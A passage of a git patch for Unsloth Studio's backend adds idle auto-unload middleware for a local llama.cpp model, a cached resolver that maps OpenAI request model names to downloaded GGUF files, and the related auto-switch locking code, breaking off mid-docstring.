* Studio: fix model-id retrieval, streaming n>1, resolver cache TTL, keep-warm auth

Four fixes from review:

- GET /v1/models/{id} legacy raw-path fallback now maps the raw identifier to
  the same public id its /v1/models entry uses. After an auto-switch load the
  identifier is the snapshot path while the entry is keyed by the advertised
  repo id, so a client that cached the old absolute path no longer 404s on a
  model that is in fact loaded.

- stream=true with n>1 is now rejected before the switch. Only the
  non-streaming GGUF path returns multiple choices, so streaming n>1 is invalid
  on every local serving path; both fields are known pre-switch, so it must not
  load model B only to 400 and evict model A. Non-streaming n>1 stays
  post-switch where the serving path decides.

- The resolver index cache is stamped after _build_index, not with the pre-scan
  timestamp. On installs with enough local models for the multi-root scan to
  exceed the 5s TTL, the cache was stored already expired and every request
  rebuilt it.

- The keep-warm middleware no longer stamps model activity for 401/403
  responses. It runs before FastAPI auth, so unauthenticated probes used to
  refresh the idle timer without touching llama.cpp; they now decrement the
  in-flight count without keeping the model warm.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 studio/backend/auth/authentication.py         |   11 +
 .../backend/core/inference/llama_keepwarm.py  |  298 ++
 .../core/inference/local_model_resolver.py    |  269 ++
 studio/backend/main.py                        |   18 +
 studio/backend/routes/inference.py            |  930 ++++-
 studio/backend/routes/preview.py              |    9 +-
 studio/backend/routes/settings.py             |  101 +
 studio/backend/routes/training.py             |   22 +-
 studio/backend/storage/studio_db.py           |   37 +
 .../backend/tests/test_openai_auto_switch.py  | 3039 +++++++++++++++++
 studio/backend/tests/test_openai_catalog.py   |   30 +-
 .../utils/openai_auto_switch_settings.py      |  180 +
 .../settings/api/openai-auto-switch.ts        |   89 +
 .../components/model-auto-switch-section.tsx  |  165 +
 .../settings/components/usage-examples.tsx    |  135 +-
 .../features/settings/tabs/general-tab.tsx    |    3 +
 studio/frontend/src/i18n/locales/en.ts        |   16 +
 17 files changed, 5243 insertions(+), 109 deletions(-)
 create mode 100644 studio/backend/core/inference/llama_keepwarm.py
 create mode 100644 studio/backend/core/inference/local_model_resolver.py
 create mode 100644 studio/backend/tests/test_openai_auto_switch.py
 create mode 100644 studio/backend/utils/openai_auto_switch_settings.py
 create mode 100644 studio/frontend/src/features/settings/api/openai-auto-switch.ts
 create mode 100644 studio/frontend/src/features/settings/components/model-auto-switch-section.tsx

diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py
index 9dd56489eb..b13cd1c851 100644
--- a/studio/backend/auth/authentication.py
+++ b/studio/backend/auth/authentication.py
@@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend
     )
 
 
+async def authenticated_via_api_key(
+    credentials: HTTPAuthorizationCredentials = Depends(security),
+) -> bool:
+    """True when the caller used an sk-unsloth API key, not a UI session JWT.
+
+    Lets routes treat programmatic API callers differently from the Studio UI
+    (e.g. refuse a teardown the UI would allow).
+    """
+    return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX))
+
+
 async def get_current_subject_allow_password_change(
     credentials: HTTPAuthorizationCredentials = Depends(security),
 ) -> str:
diff --git a/studio/backend/core/inference/llama_keepwarm.py b/studio/backend/core/inference/llama_keepwarm.py
new file mode 100644
index 0000000000..4ce663c3ce
--- /dev/null
+++ b/studio/backend/core/inference/llama_keepwarm.py
@@ -0,0 +1,298 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model.
+
+Off by default (idle seconds = 0). When enabled, a background loop unloads the
+loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A
+pure-ASGI middleware tracks in-flight inference requests so a long stream that
+outlives the TTL is never unloaded mid-response.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import contextlib
+import threading
+import time
+
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+_lock = threading.Lock()
+_inflight = 0
+# Requests blocked on the unload gate but not yet counted in _inflight: the idle
+# loop must not unload while one is waiting (it would unload out from under it).
+_pending = 0
+_last_active = time.monotonic()
+# The (id, quant) idle-unload last freed, so an alias/unknown request that would
+# otherwise 503 against an empty backend can reload it (set on unload, cleared on
+# reload). Storing the quant means the reload restores the exact freed variant.
+_last_unloaded_model = None
+# Guards inflight bumps against the idle-check-then-unload race, and blocks new
+# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is
+# shared across every event loop in the process, so a per-loop gate would let a
+# request on loop B start inference while a swap on loop A tears the model down.
+_lifecycle_lock = threading.Lock()
+
+
+@contextlib.asynccontextmanager
+async def _unload_gate():
+    # Acquire off the loop: non-blocking first (the common uncontended case), else
+    # poll a non-blocking acquire off a short sleep. Polling keeps the wait off this
+    # loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is
+    # not held, so it never leaks (mirrors the auto-switch swap gate).
+    while not _lifecycle_lock.acquire(blocking = False):
+        await asyncio.sleep(0.02)
+    try:
+        yield
+    finally:
+        _lifecycle_lock.release()
+
+
+_INFERENCE_PREFIXES = ("/v1/", "/api/inference/")
+_INFERENCE_SUFFIXES = (
+    "/chat/completions",
+    "/completions",
+    "/messages",
+    "/messages/count_tokens",  # counts via the loaded tokenizer; protect like /messages
+    "/embeddings",
+    "/responses",
+    "/generate/stream",  # Studio's own streaming route on the same llama-server
+    "/audio/generate",  # direct GGUF TTS; can outlive the idle TTL
+)
+
+
+def _is_inference_path(path: str) -> bool:
+    if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES):
+        return True
+    # Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the
+    # chat handler and streams from the same backend, so protect it from idle unload.
+    return path.startswith("/p/") and path.endswith("/v1/chat/completions")
+
+
+def _note_pending() -> None:
+    global _pending
+    with _lock:
+        _pending += 1
+
+
+def _note_unpending() -> None:
+    global _pending
+    with _lock:
+        _pending = max(0, _pending - 1)
+
+
+def _note_start() -> None:
+    # Do not stamp _last_active here: while _inflight > 0 the model is already
+    # protected (see _is_idle), and stamping on start lets an external-provider
+    # request that is later untracked still reset the local idle timer.
+    global _inflight, _pending
+    with _lock:
+        _pending = max(0, _pending - 1)
+        _inflight += 1
+
+
+def _note_end() -> None:
+    global _inflight, _last_active
+    with _lock:
+        _inflight = max(0, _inflight - 1)
+        _last_active = time.monotonic()
+
+
+def _note_untracked_end() -> None:
+    # Drop a request that never used the local GGUF without stamping local
+    # activity, so periodic external-provider traffic can't keep the model warm.
+    global _inflight
+    with _lock:
+        _inflight = max(0, _inflight - 1)
+
+
+def _is_idle(ttl_seconds: float) -> bool:
+    with _lock:
+        return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds
+
+
+def _note_activity() -> None:
+    """Stamp activity, e.g. on a (re)load, so the model survives at least one TTL."""
+    global _last_active
+    with _lock:
+        _last_active = time.monotonic()
+
+
+def other_inference_request_count(
+    current_request_counted: bool = True, *, include_pending: bool = True
+) -> int:
+    """Tracked inference requests other than the current route call.
+
+    The middleware counts OpenAI-compatible requests before route code runs, so
+    the caller is excluded by default. Idle-unload counts pending waiters too (a
+    swap holding the gate would unload out from under them). The swap guard passes
+    include_pending=False: a pending request is blocked in the middleware and has
+    not started inference, so it can't be the request a swap would interrupt.
+    """
+    with _lock:
+        active = _inflight
+        if current_request_counted and active > 0:
+            active -= 1
+        return max(0, active) + (_pending if include_pending else 0)
+
+
+# Set on the ASGI scope by a route that proved this request won't touch
+# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count
+# excludes it and the middleware skips its own end-decrement.
+_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked"
+
+
+def untrack_current_request(scope) -> None:
+    """Drop this request from the in-flight count once the route knows it won't
+    use the local GGUF, so unrelated external-provider traffic can't trip the
+    swap busy guard. Idempotent; the middleware then skips its end-decrement."""
+    if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY):
+        return
+    scope[_UNTRACKED_SCOPE_KEY] = True
+    _note_untracked_end()
+
+
+def inference_lifecycle_gate():
+    """The gate a model swap holds so new inference can't start mid-load. Process-
+    wide, so a swap on one loop blocks inference starting on any other loop."""
+    return _unload_gate()
+
+
+def note_model_loaded() -> None:
+    """Record a successful GGUF load: stamp activity and drop any reload stash so
+    a manual load clears it synchronously, not only on the next idle poll."""
+    _note_activity()
+    _set_last_unloaded(None)
+
+
+def note_model_unloaded() -> None:
+    """Record a deliberate (user/API) unload: drop any idle reload stash so the next
+    request can't resurrect the just-unloaded model. The idle loop unloads via the
+    backend directly and then stashes the freed model for an alias reload; an
+    explicit unload instead means "stay unloaded", so it must not stamp activity."""
+    _set_last_unloaded(None)
+
+
+def get_last_unloaded_model():
+    with _lock:
+        return _last_unloaded_model
+
+
+def _set_last_unloaded(value) -> None:
+    global _last_unloaded_model
+    with _lock:
+        _last_unloaded_model = value
+
+
+class LlamaKeepWarmMiddleware:
+    """Pure ASGI: count in-flight inference requests and stamp activity on completion."""
+
+    def __init__(self, app):
+        self.app = app
+
+    async def __call__(self, scope, receive, send):
+        # Inference endpoints are all POST; skipping non-POST avoids counting CORS
+        # preflight (OPTIONS). ``or ""`` guards an explicit None path.
+        if (
+            scope.get("type") != "http"
+            or scope.get("method") != "POST"
+            or not _is_inference_path(scope.get("path") or "")
+        ):
+            await self.app(scope, receive, send)
+            return
+        # Always track in-flight on inference paths, even when the feature is off,
+        # so a stream that starts before idle-unload is enabled can't be unloaded
+        # mid-response if the operator turns it on during that stream. Counting is
+        # cheap and invisible to clients (the response is proxied unchanged).
+        # Mark pending before the gate so the idle loop (which holds the gate while
+        # unloading) can't free the model while this request is waiting to start.
+        _note_pending()
+        started = False
+        try:
+            async with _unload_gate():
+                _note_start()
+                started = True
+        finally:
+            if not started:
+                _note_unpending()
+        ended = {"done": False}
+        status = {"code": None}
+
+        def _finish() -> None:
+            # A route that untracked itself already decremented; don't double-count.
+            if ended["done"]:
+                return
+            ended["done"] = True
+            if scope.get(_UNTRACKED_SCOPE_KEY):
+                return
+            # This middleware runs before FastAPI auth, so a 401/403 reaches here
+            # without ever touching llama.cpp. Decrement the in-flight count (to
+            # balance _note_start) but do NOT stamp activity, or repeated
+            # unauthenticated probes on an exposed server would keep the model warm
+            # and never let idle-unload free VRAM.
+            if status["code"] in (401, 403):
+                _note_untracked_end()
+            else:
+                _note_end()
+
+        async def send_wrapper(message):
+            if message.get("type") == "http.response.start":
+                status["code"] = message.get("status")
+            # Final body frame marks the end of a (possibly streaming) response.
+            elif message.get("type") == "http.response.body" and not message.get(
+                "more_body", False
+            ):
+                _finish()
+            await send(message)
+
+        try:
+            await self.app(scope, receive, send_wrapper)
+        finally:
+            _finish()
+
+
+def _loaded_identity(backend):
+    if not backend.is_loaded or not backend.model_identifier:
+        return None
+    # Third slot is the advertised id (repo id) an auto-switch load sets on the
+    # backend; it's the override key, so an idle stash keyed by the concrete load
+    # path doesn't drop the user's saved launch flags on the alias reload.
+    advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier
+    return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised)
+
+
+async def idle_unload_loop(poll_seconds: float = 15.0) -> None:
+    """Unload the loaded GGUF once idle past the configured TTL. Inert when off."""
+    from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds
+
+    seen_model = None
+    while True:
+        await asyncio.sleep(poll_seconds)
+        try:
+            ttl = get_auto_unload_idle_seconds()
+            if ttl <= 0:
+                continue
+            from routes.inference import get_llama_cpp_backend
+
+            backend = get_llama_cpp_backend()
+            # Track by (id, variant): a (re)loaded model -- including the same repo
+            # at a different quant -- counts as activity so it survives one TTL
+            # before its first request (loads bypass the activity middleware).
+            current = _loaded_identity(backend)
+            if current != seen_model:
+                seen_model = current
+                if current is not None:
+                    _note_activity()
+                    _set_last_unloaded(None)  # a model is loaded; drop stale stash
+            async with _unload_gate():
+                if backend.is_loaded and _is_idle(ttl):
+                    freed = _loaded_identity(backend)
+                    await asyncio.to_thread(backend.unload_model)
+                    _set_last_unloaded(freed)  # let an alias request reload it
+                    logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl)
+                    seen_model = None
+        except Exception as exc:
+            logger.debug("idle_unload_loop iteration failed: %s", exc)
diff --git a/studio/backend/core/inference/local_model_resolver.py b/studio/backend/core/inference/local_model_resolver.py
new file mode 100644
index 0000000000..002cafe2c8
--- /dev/null
+++ b/studio/backend/core/inference/local_model_resolver.py
@@ -0,0 +1,269 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF.
+
+Used by the opt-in auto-switch path. The match is conservative: only names
+that map to an already-downloaded local GGUF (and a quant that is actually on
+disk) are eligible, so an arbitrary OpenAI model string still falls through to
+the loaded model (drop-in compat) and no surprise multi-GB download is ever
+triggered. The local-model scan is cached for a few seconds since auto-switch
+consults it per request.
+"""
+
+from __future__ import annotations
+
+import threading
+import time
+from dataclasses import dataclass
+from typing import Optional
+
+from core.inference.model_ids import public_model_id
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+
+@dataclass(frozen = True)
+class _LocalGgufEntry:
+    loader_id: str  # advertised id (repo id / folder name), also the override key
+    load_path: str  # concrete on-disk dir/file passed to /load so it never downloads
+    variants: tuple[str, ...]  # local quant labels; () for a standalone .gguf
+
+
+_CACHE_TTL_S = 5.0
+_lock = threading.Lock()
+_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {})
+
+
+def _is_abs_path_id(value: str) -> bool:
+    """True when an id is an absolute filesystem path (the ./models and LM Studio
+    scanners use the on-disk path as the id) rather than a repo id like org/name."""
+    from pathlib import Path
+    try:
+        return Path(value).is_absolute()
+    except Exception:
+        return False
+
+
+def _advertised_loader_id(info) -> Optional[str]:
+    """The id to advertise for a scanned model: prefer a client-facing alias over
+    an absolute filesystem path so /v1/models and the override key never expose a
+    host path (the ./models and LM Studio scanners report the path as info.id)."""
+    raw_id = getattr(info, "id", None)
+    if not raw_id or not _is_abs_path_id(raw_id):
+        return raw_id
+    for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)):
+        if alt and not _is_abs_path_id(alt):
+            return alt
+    # No clean alias: strip to a path-free public id so a host path is never advertised.
+    return public_model_id(raw_id) or raw_id
+
+
+def _resolve_load_dir(p):
+    """The concrete dir holding the GGUFs. For an HF cache repo (``models--*``
+    with ``snapshots/``) this is the latest snapshot dir, so /load takes the
+    local branch instead of the download-capable repo-id branch."""
+    from pathlib import Path
+
+    try:
+        if (p / "snapshots").is_dir():
+            from routes.models import _resolve_hf_cache_realpath
+            real = _resolve_hf_cache_realpath(p)
+            if real:
+                return Path(real)
+    except Exception:
+        pass
+    return p
+
+
+def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]:
+    """Build an entry only when GGUF quants are on disk (not Transformers/
+    safetensors), listing only on-disk quants. ``load_path`` is a concrete local
+    path so /load resolves the variant locally and never fetches a remote one."""
+    from pathlib import Path
+    from utils.models.model_config import _is_mmproj, list_local_gguf_variants
+
+    path = getattr(info, "path", None)
+    if not isinstance(path, str):
+        return None
+    p = Path(path)
+    try:
+        if p.is_file():
+            # A standalone .gguf loads by its own path; no quant sub-selection. An
+            # mmproj companion (vision/audio projector) is not a servable model on
+            # its own: _scan_models_dir's standalone-file pass does not filter it
+            # the way the directory scan does, so reject it here or /v1/models would
+            # advertise a projector and a switch could load it instead of the weights,
+            # evicting the loaded model. The directory branch below is already mmproj
+            # free (list_local_gguf_variants drops mmproj quants).
+            if p.suffix.lower() != ".gguf" or _is_mmproj(p.name):
+                return None
+            return _LocalGgufEntry(loader_id, str(p), ())
+        load_dir = _resolve_load_dir(p)
+        variants, _ = list_local_gguf_variants(str(load_dir))
+        quants = tuple(v.quant for v in variants if getattr(v, "quant", None))
+        return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None
+    except Exception:
+        return None
+
+
+def info_has_local_gguf(info) -> bool:
+    """True when *info* (a LocalModelInfo) points to on-disk GGUF weights the
+    auto-switch path can load. Read from the files, not ``info.model_format``: the
+    HF-cache scanner leaves model_format unset for GGUF snapshots, so a
+    model_format filter would drop every cached GGUF. Lets /v1/models advertise
+    exactly what /v1 can serve."""
+    from pathlib import Path
+
+    path = getattr(info, "path", None)
+    # Ollama-link entries come from a scanner _build_index intentionally skips (it
+    # creates symlinks on the request path), so their advertised ids never resolve.
+    # Don't report them as servable, or /v1/models would list unswitchable models.
+    if isinstance(path, str) and any(
+        seg in (".studio_links", "ollama_links") for seg in Path(path).parts
+    ):
+        return False
+    return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None
+
+
+def _build_index() -> dict[str, _LocalGgufEntry]:
+    """Map normalized id/model_id/display_name -> local GGUF entry.
+
+    Scans the same roots Studio's model picker lists (./models, the active plus
+    legacy/default HF caches, LM Studio dirs, and user scan folders) so a named
+    local model is never missed and silently served as the loaded one. Ollama's
+    scanner is skipped: it creates symlinks as a side effect and this runs on the
+    request path.
+    """
+    # Lazy import: routes.models imports core.inference, so import at call time.
+    from pathlib import Path
+    from routes.models import (
+        _scan_models_dir,
+        _scan_hf_cache,
+        _scan_lmstudio_dir,
+        _resolve_hf_cache_dir,
+        _is_hidden_model,
+    )
+    from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs
+
+    index: dict[str, _LocalGgufEntry] = {}
+    seen_hf: set[str] = set()
+
+    def _scan_hf_once(directory) -> list:
+        if directory is None:
+            return []
+        try:
+            d = Path(directory)
+            if not d.is_dir():
+                return []
+            rp = str(d.resolve())
+            if rp in seen_hf:
+                return []
+            seen_hf.add(rp)
+            return _scan_hf_cache(directory)
+        except Exception as exc:  # a missing/malformed root must skip, never crash the index
+            logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc)
+            return []
+
+    # Each source is guarded on its own so one bad root (a permission error, a
+    # malformed cache) drops only that source, not the whole index.
+    found: list = []
+    try:
+        found += _scan_models_dir(Path("./models").resolve())
+    except Exception as exc:
+        logger.debug("auto-switch: ./models scan failed: %s", exc)
+    try:
+        for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()):
+            found += _scan_hf_once(hf_dir)
+    except Exception as exc:
+        logger.debug("auto-switch: HF cache scan failed: %s", exc)
+    try:
+        for lm_dir in lmstudio_model_dirs():
+            found += _scan_lmstudio_dir(lm_dir)
+    except Exception as exc:
+        logger.debug("auto-switch: LM Studio scan failed: %s", exc)
+    try:
+        from storage.studio_db import list_scan_folders
+        for folder in list_scan_folders():
+            try:
+                fp = Path(folder["path"])
+                found += (
+                    _scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp)
+                )
+            except Exception as exc:
+                logger.debug("auto-switch: scan folder %r failed: %s", folder, exc)
+    except Exception as exc:
+        logger.debug("auto-switch: scan folders enumerate failed: %s", exc)
+    for info in found:
+        raw_id = getattr(info, "id", None)
+        if not raw_id:
+            continue
+        # Skip what Studio hides from its pickers (validation probe, RAG embed
+        # weights): not chat models, so never an auto-switch target.
+        if _is_hidden_model(raw_id, getattr(info, "path", None)):
+            continue
+        # Advertise a client-facing alias, not an absolute filesystem path.
+        loader_id = _advertised_loader_id(info)
+        entry = _local_gguf_entry(loader_id, info)
+        if entry is None:
+            continue
+        # Index every alias (including the path) so a client can resolve by any of
+        # them, even though only the non-path loader_id is advertised.
+        for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)):
+            if key:
+                index.setdefault(key.strip().lower(), entry)
+    return index
+
+
+def _index() -> dict[str, _LocalGgufEntry]:
+    global _scan
+    # Build under the lock so concurrent callers with an expired cache don't all
+    # run the (multi-dir) scan at once; the rest wait and reuse the fresh result.
+    with _lock:
+        now = time.monotonic()
+        ts, cached = _scan
+        if now - ts < _CACHE_TTL_S:
+            return cached
+        fresh = _build_index()
+        # Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on
+        # an install with many local models can itself exceed the TTL, which would
+        # store the cache already expired and make every request rebuild the index.
+        _scan = (time.monotonic(), fresh)
+        return fresh
+
+
+def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]:
+    """Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None.
+
+    ``load_path`` is the concrete on-disk path to hand /load (so it never fetches
+    a remote), ``loader_id`` is the advertised id used as the launch-override key.
+    ``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first
+    (so ids containing a colon still resolve); else the last ``:VARIANT`` is split
+    off and resolves only when that quant is on disk.
+    """
+    if not isinstance(requested, str) or not requested.strip():
+        return None
+    requested = requested.strip()
+    try:
+        index = _index()
+        entry = index.get(requested.lower())
+        if entry is not None:
+            variant = entry.variants[0] if entry.variants else None
+            return entry.load_path, variant, entry.loader_id
+
+        base, sep, variant = requested.rpartition(":")
+        if not sep:
+            return None
+        entry = index.get(base.strip().lower())
+        if entry is None:
+            return None
+        wanted = variant.strip().lower()
+        for v in entry.variants:
+            if v.lower() == wanted:
+                return entry.load_path, v, entry.loader_id
+        return None
+    except Exception:
+        # Best-effort: any resolver failure falls through to the loaded model,
+        # so a malformed name can never turn a servable request into a 500.
+        return None
diff --git a/studio/backend/main.py b/studio/backend/main.py
index 8b8a5fe787..5402e5eb7b 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -532,6 +532,11 @@ async def lifespan(app: FastAPI):
     _start_helper_precache_if_enabled()
     threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start()
 
+    # Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set).
+    from core.inference.llama_keepwarm import idle_unload_loop
+
+    app.state.idle_unload_task = asyncio.create_task(idle_unload_loop())
+
     # Initialize RSA key pair for API key encryption (external providers).
     from core.inference.key_exchange import init_key_pair
 
@@ -561,6 +566,14 @@ async def lifespan(app: FastAPI):
     )
     yield
 
+    _idle_task = getattr(app.state, "idle_unload_task", None)
+    if _idle_task is not None:
+        _idle_task.cancel()
+        try:
+            await _idle_task
+        except asyncio.CancelledError:
+            pass
+
     from core.inference.llama_http import aclose as _close_llama_http
 
     await _close_llama_http()
@@ -883,6 +896,11 @@ app.add_middleware(
     upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes,
 )
 
+# Tracks in-flight inference requests for idle auto-unload; off -> passthrough.
+from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware  # noqa: E402
+
+app.add_middleware(LlamaKeepWarmMiddleware)
+
 
 from starlette.responses import RedirectResponse as _RedirectResponse  # noqa: E402
 
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 9caacec61b..9d9db83543 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -19,6 +19,7 @@ import httpx
 from loggers import get_logger
 import asyncio
 import threading
+import weakref
 
 
 import re as _re
@@ -2266,6 +2267,411 @@ def get_llama_cpp_backend() -> LlamaCppBackend:
     return _llama_cpp_backend
 
 
+# Serializes opt-in auto-switch loads so two requests can't race a swap. One
+# lock per running loop, since a module-level asyncio.Lock binds to a single
+# loop and breaks multi-loop runners (e.g. pytest's per-test loops on pre-3.10).
+_auto_switch_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary()
+_auto_switch_locks_guard = threading.Lock()
+
+
+def _auto_switch_lock() -> asyncio.Lock:
+    loop = asyncio.get_running_loop()
+    # WeakKeyDictionary mutation isn't thread-safe; guard get-or-create so two
+    # loops on different threads can't race it.
+    with _auto_switch_locks_guard:
+        lock = _auto_switch_locks.get(loop)
+        if lock is None:
+            lock = _auto_switch_locks[loop] = asyncio.Lock()
+        return lock
+
+
+# Process-wide gate so a swap on another event loop in this process can't race
+# this one for the single model slot: the asyncio lock above is per loop, but the
+# backend slot and _load_model_impl are process-wide. threading.Lock so it serializes
+# across loops/threads; released from the loop thread (Lock allows cross-thread release).
+_auto_switch_process_lock = threading.Lock()
+
+
+async def _acquire_swap_gate() -> None:
+    # Non-blocking first for the common single-loop case; otherwise poll off a
+    # short sleep rather than awaiting to_thread(acquire). A cancelled to_thread
+    # (client disconnect mid-wait) leaves its worker thread still acquiring, so the
+    # gate gets taken but the finally that releases it never runs -- deadlocking
+    # later swaps. Polling keeps the wait off this loop AND cancellation-safe: a
+    # cancel lands during the sleep, when the gate is not held.
+    while not _auto_switch_process_lock.acquire(blocking = False):
+        await asyncio.sleep(0.02)
+
+
+# Counts in-flight auto-switch requests per (target, variant). The busy guard
+# subtracts same-target waiters so concurrent requests for one model load once
+# instead of each 409-ing the other.
+_auto_switch_waiters: dict[tuple[str, str], int] = {}
+_auto_switch_waiters_guard = threading.Lock()
+
+
+def _switch_key(override_id: str, variant: Optional[str]) -> tuple[str, str]:
+    return (override_id.lower(), (variant or "").lower())
+
+
+def _note_switch_waiter(key: tuple[str, str], delta: int) -> None:
+    with _auto_switch_waiters_guard:
+        n = _auto_switch_waiters.get(key, 0) + delta
+        if n > 0:
+            _auto_switch_waiters[key] = n
+        else:
+            _auto_switch_waiters.pop(key, None)
+
+
+def _same_target_waiters(key: tuple[str, str]) -> int:
+    with _auto_switch_waiters_guard:
+        return _auto_switch_waiters.get(key, 0)
+
+
+# A second waiter map keyed by the raw requested model, registered before the
+# (slow) resolve. The middleware counts a concurrent same-model request as
+# in-flight before it resolves and joins _auto_switch_waiters, so without this
+# the first request would see it as an unrelated request and 409.
+_auto_switch_request_waiters: dict[str, int] = {}
+_auto_switch_request_waiters_guard = threading.Lock()
+
+
+def _request_waiter_key(requested_model: str) -> str:
+    return requested_model.strip().lower()
+
+
+def _note_request_waiter(key: str, delta: int) -> None:
+    with _auto_switch_request_waiters_guard:
+        n = _auto_switch_request_waiters.get(key, 0) + delta
+        if n > 0:
+            _auto_switch_request_waiters[key] = n
+        else:
+            _auto_switch_request_waiters.pop(key, None)
+
+
+def _same_request_waiters(key: str) -> int:
+    with _auto_switch_request_waiters_guard:
+        return _auto_switch_request_waiters.get(key, 0)
+
+
+def _llama_public_model_id(llama_backend, fallback: Optional[str] = None) -> Optional[str]:
+    """The id to report for the loaded GGUF in API responses: the advertised repo
+    id from an auto-switch load, else the cleaned public id, never the on-disk
+    .gguf path (see core.inference.model_ids.public_model_id)."""
+    return (
+        getattr(llama_backend, "_openai_advertised_id", None)
+        or public_model_id(getattr(llama_backend, "model_identifier", None))
+        or public_model_id(fallback)
+        or fallback
+    )
+
+
+_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY = "_unsloth_disable_openai_auto_switch"
+# Sentinel a raw-body endpoint passes when the request omits ``model``: it must
+# only restore an idle-freed model, never run the resolver (so a downloaded GGUF
+# literally named "default" can't be swapped to). The NUL keeps it off any index.
+_RELOAD_ONLY_MODEL = "\x00reload-only"
+
+
+def _switch_model_for_payload(payload) -> str:
+    # A pydantic request fills an omitted ``model`` with "default"; only an
+    # explicitly set model may switch, else reload-only so a GGUF named "default"
+    # is never matched (mirrors the raw-body sentinel path).
+    return payload.model if "model" in payload.model_fields_set else _RELOAD_ONLY_MODEL
+
+
+def _target_is_vision(load_path: str) -> bool:
+    # A local GGUF's vision capability is its companion mmproj, a filesystem check
+    # (no model load). Matches the loaded backend's is_vision, so rejecting a swap
+    # here can't differ from the post-load guard. Thread the ambient HF token so the
+    # probe keeps the capability-probe invariant (the resolver only yields local
+    # paths, where the token is unused, but the rule requires it regardless).
+    from utils.models.model_config import is_vision_model
+    try:
+        return bool(is_vision_model(load_path, hf_token = os.environ.get("HF_TOKEN")))
+    except Exception as exc:
+        # Detection failure: don't block the swap, let the load decide.
+        logger.debug("auto-switch: vision probe failed for %s: %s", load_path, exc)
+        return True
+
+
+def _messages_have_image(messages) -> bool:
+    return any(
+        isinstance(m.content, list) and any(isinstance(p, ImageContentPart) for p in m.content)
+        for m in messages
+    )
+
+
+def _request_has_image(payload) -> bool:
+    if getattr(payload, "image_base64", None):
+        return True
+    return _messages_have_image(payload.messages)
+
+
+def _anthropic_request_has_image(payload) -> bool:
+    # Mirror anthropic_messages_to_openai: an Anthropic image block carries
+    # ``type == "image"`` (typed AnthropicImageBlock or a raw dict).
+    for msg in getattr(payload, "messages", None) or []:
+        content = getattr(msg, "content", None)
+        if not isinstance(content, list):
+            continue
+        for block in content:
+            bt = block.get("type") if isinstance(block, dict) else getattr(block, "type", None)
+            if bt == "image":
+                return True
+    return False
+
+
+def disable_openai_auto_switch_for_request(scope) -> None:
+    """Opt a request out of OpenAI auto-switch. The public preview route uses this:
+    it always serves its pinned checkpoint, so a caller-supplied model must never
+    swap the loaded model."""
+    if isinstance(scope, dict):
+        scope[_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY] = True
+
+
+def _automatic_model_load_may_run() -> bool:
+    """True when a request can trigger an automatic load: either resolver-based
+    auto-switch is on, or a standalone idle TTL can reload an idle-freed model. The
+    validate-before-switch guards key off this so an invalid request never loads."""
+    from utils.openai_auto_switch_settings import (
+        get_openai_auto_switch_enabled,
+        get_auto_unload_idle_seconds,
+    )
+    return get_openai_auto_switch_enabled() or get_auto_unload_idle_seconds() > 0
+
+
+async def _maybe_auto_switch_model(
+    requested_model: Optional[str],
+    fastapi_request: Request,
+    current_subject: str,
+    *,
+    require_vision: bool = False,
+) -> None:
+    """Load a downloaded local GGUF named by an OpenAI request when auto-switch is on.
+
+    No-op unless enabled and ``requested_model`` resolves to a downloaded local
+    model different from the loaded one. Unknown names fall through (drop-in
+    compat) and no remote download is triggered. ``require_vision`` rejects a swap
